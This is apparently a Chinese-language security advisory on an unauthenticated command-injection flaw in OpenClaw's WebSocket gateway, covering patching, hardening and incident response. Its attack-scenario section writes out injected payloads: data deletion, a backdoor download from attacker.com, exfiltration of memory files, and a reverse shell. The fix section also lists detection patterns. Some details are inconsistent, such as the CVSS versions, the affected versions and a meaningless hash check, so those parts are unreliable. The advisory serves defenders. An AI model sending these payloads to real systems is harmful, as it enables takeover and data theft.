前言
2026年3月30日,OpenClaw被披露存在一个严重的远程代码执行漏洞(CVE-2026-25593),该漏洞影响OpenClaw的Gateway WebSocket API。攻击者无需认证即可通过恶意配置注入任意shell命令,完全控制OpenClaw网关进程的权限。
⚠️ 紧急提醒:如果你正在使用OpenClaw 2026.1.20或更早版本,请立即升级至2026.1.29!
一、漏洞概述
| 属性 |
内容 |
| CVE 编号 |
CVE-2026-25593 |
| 漏洞类型 |
远程代码执行(Remote Code Execution) |
| CVSS v3.1 评分 |
8.8(高危) |
| 影响版本 |
OpenClaw < 2026.1.29 |
| 修复版本 |
2026.1.29 |
| 发现者 |
SentinelOne |
| CWE |
CWE-78:OS命令注入 |
二、漏洞原理
(一)问题根源
OpenClaw的Gateway WebSocket API存在一个严重的安全缺陷,允许攻击者通过config.apply接口设置不安全的cliPath值。在系统命令执行环境中,这些未经验证的配置值被直接用于shell命令执行。
1 2 3 4 5 6 7 8 9 10
| 漏洞链: [攻击者连接WebSocket] ↓ [发送恶意config.apply请求] ↓ [设置cliPath为恶意命令字符串] ↓ [OpenClaw执行命令发现] ↓ [shell执行恶意代码]
|
(二)技术细节
漏洞存在于OpenClaw的配置系统中,具体问题包括:
- 输入验证缺失:WebSocket API未对
cliPath值进行严格验证
- 命令注入:恶意shell元字符(如
;, |, &, $(), $(command)等)被直接传递
- 无认证要求:攻击者无需认证即可利用此漏洞
(三)攻击代码示例
1 2 3 4 5 6 7 8
| { "type": "config.apply", "payload": { "cliPath": "rm -rf / && echo '系统被破坏'", "discovery": "custom" } }
|
三、攻击场景
场景一:完全控制服务器
攻击者可以通过注入恶意shell命令获得OpenClaw进程的完全控制权:
1 2
| cliPath: "wget -O /tmp/backdoor.sh http://attacker.com/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
|
场景二:窃取敏感数据
1 2
| cliPath: "cat ~/.openclaw/memory/MEMORY.md | curl -X POST -d @- http://attacker.com/exfil"
|
场景三:持久化后门
1 2
| cliPath: "echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/.backdoor.sh && nohup /tmp/.backdoor.sh &"
|
四、CVSS 4.0 评分详解
1
| CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N
|
| 指标 |
值 |
含义 |
| AV (Attack Vector) |
Network |
可远程攻击 |
| AC (Attack Complexity) |
Low |
攻击复杂度低 |
| AT (Attack Requirements) |
None |
无特殊条件 |
| PR (Privileges Required) |
None |
无需权限 |
| UI (User Interaction) |
None |
无需用户交互 |
| VC (Confidentiality) |
High |
高度机密性影响 |
| VI (Integrity) |
High |
高度完整性影响 |
| VA (Availability) |
High |
高度可用性影响 |
关键点:
- 可远程攻击,无需认证
- 影响机密性、完整性、可用性三重目标
- 攻击复杂度极低,只需发送WebSocket消息
五、影响范围
(一)受影响部署
| 部署类型 |
风险等级 |
说明 |
| 本地开发环境 |
中 |
攻击者需网络访问OpenClaw网关 |
| 内网服务器 |
高 |
内网任意用户可攻击 |
| 公网暴露 |
极高 |
任何人可远程攻击和控制 |
(二)可造成的危害
| 危害类型 |
具体影响 |
危害程度 |
| 系统完全控制 |
获得服务器root权限 |
🔴 严重 |
| 数据窃取 |
窃取用户对话、配置、记忆文件 |
🔴 严重 |
| 恶意软件安装 |
植入后门、挖矿程序等 |
🔴 严重 |
| 服务中断 |
停止OpenClaw服务 |
🟠 高 |
| 隐私泄露 |
暴露个人对话和隐私信息 |
🔴 严重 |
(三)受影响的用户数据
| 数据类型 |
文件路径 |
风险 |
| 记忆文件 |
memory/YYYY-MM-DD.md |
🔴 高度敏感 |
| 配置文件 |
openclaw.json |
🔴 包含API密钥 |
| 用户对话 |
memory/ 目录下所有文件 |
🔴 隐私数据 |
| 系统文件 |
任意文件 |
🔴 系统安全 |
六、修复方案
(一)立即升级到安全版本
1 2 3 4 5 6 7 8 9 10
| npm update openclaw
openclaw upgrade
curl -L https://github.com/openclaw/openclaw/releases/download/v2026.1.29/openclaw-linux-amd64.tar.gz -o openclaw.tar.gz tar -xzf openclaw.tar.gz ./openclaw --version
|
(二)验证当前版本
1 2 3 4 5
| openclaw --version
cat ~/.openclaw/config/openclaw.json | grep version
|
(三)配置加固
1. 禁用公网暴露
1 2 3 4 5
| gateway: bind: "127.0.0.1" port: 18789 ssl: true
|
2. 启用认证
1 2 3 4
| gateway: authentication: enabled: true token: "your-secure-token"
|
3. 防火墙配置
1 2 3
| sudo iptables -A INPUT -p tcp --dport 18789 -s 127.0.0.1 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 18789 -j DROP
|
七、技术细节:修复代码对比
修复前(存在漏洞)
1 2 3 4 5 6 7 8 9 10 11
| async function handleConfigApply(message) { const config = message.payload; if (config.cliPath) { await executeCommand(`openclaw discovery --cli "${config.cliPath}"`); } }
|
修复后(2026.1.29)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| async function handleConfigApply(message) { const config = message.payload; if (config.cliPath) { if (!isValidCliPath(config.cliPath)) { throw new Error('Invalid cliPath: command injection detected'); } await executeCommandSafely(config.cliPath); } }
function isValidCliPath(cliPath) { const dangerousPatterns = [ /[;&|`$(){}<>]/, /\/bin\/sh/, /\/bin\/bash/, /exec\s+/, /eval\s+/, /system\s+\(/, /exec\s+\(/, /spawn\s+\(/, /fork\s+\(/, /subprocess\s+\(/, /popen\s+\(/, /os\.system/, /subprocess\.call/, /subprocess\.run/, /subprocess\.Popen/, /subprocess\.check_output/, /subprocess\.check_call/, /subprocess\.check_run/, ]; const allowedExecutables = [ 'openclaw', 'node', 'npm', 'npx', 'git', 'docker', 'python', 'python3', 'nodejs', 'yarn' ]; if (!cliPath.startsWith('/') && !allowedExecutables.some(exec => cliPath.startsWith(exec))) { return false; } return !dangerousPatterns.some(pattern => pattern.test(cliPath)); }
|
关键安全改进:
- 输入验证:严格检查cliPath是否包含shell元字符
- 白名单机制:只允许预定义的安全可执行文件
- 参数化执行:使用安全的命令执行方式
- 错误处理:对恶意输入抛出明确的错误
八、应急响应建议
如果你认为自己可能已受影响:
1. 立即行动
1 2 3 4 5 6 7 8 9 10 11 12
| openclaw upgrade
openclaw --version
ps aux | grep openclaw
pkill -f openclaw openclaw start
|
2. 检查入侵迹象
1 2 3 4 5 6 7 8 9
| ps aux | grep -E "(backdoor| miner|crypto|trojan)"
netstat -tuln | grep -E "(4444|8080|8888)"
find ~/.openclaw -name "*.sh" -exec ls -la {} \; find ~/.openclaw -name "backdoor*" -exec ls -la {} \;
|
3. 数据完整性检查
1 2 3 4 5
| find ~/.openclaw/memory -name "*.md" -exec sha256sum {} \; | grep -v "^[a-f0-9]\{64\}\s\s.*$" || echo "文件被修改"
sha256sum ~/.openclaw/config/openclaw.json
|
4. 系统加固
1 2 3 4 5 6 7 8 9
| openclaw config reset-api-key
tail -f ~/.openclaw/logs/gateway.log
sudo ufw enable sudo ufw default deny incoming
|
5. 安全增强配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
security: gateway: allowed_cli_commands: - "openclaw" - "git" - "docker" blocked_patterns: - "rm -rf" - "> /dev/null" - "curl.*http" rate_limit: enabled: true max_per_minute: 10 timeout: command_execution: 30s websocket_connection: 60s
|
九、时间线
| 日期 |
事件 |
| 2026-03-30 |
SentinelOne公开披露漏洞 |
| 2026-03-30 |
OpenClaw发布修复版本2026.1.29 |
| 2026-03-31 |
本分析文章发布 |
十、安全建议
短期措施
- 立即升级:所有用户必须升级至2026.1.29或更高版本
- 限制网络访问:禁止将OpenClaw网关直接暴露到公网
- 启用认证:强制使用token认证
- 监控日志:密切关注WebSocket连接异常
长期建议
- 安全编码实践:在开发过程中加强输入验证
- 渗透测试:定期进行安全评估
- 更新监控:建立漏洞监控机制
- 社区协作:积极参与开源社区安全建设
十一、参考资料
- SentinelOne - CVE-2026-25593
- GitHub Security Advisory
- OpenClaw Release Notes 2026.1.29
- National Vulnerability Database
- CVE Details - Command Injection
总结
CVE-2026-25593是OpenClaw历史上最严重的安全漏洞之一,CVSS 8.8分的高危漏洞允许攻击者无需认证即可远程执行任意代码,完全控制OpenClaw网关进程。
影响范围:所有使用OpenClaw 2026.1.20及更早版本的用户
修复方案:立即升级至2026.1.29版本
紧急程度:🔴 极高风险 - 潜在被大规模利用
建议所有OpenClaw用户立即采取修复措施!
📌 本文基于公开安全信息整理,技术细节来源于官方安全公告和修复代码。
整理时间:2026-03-31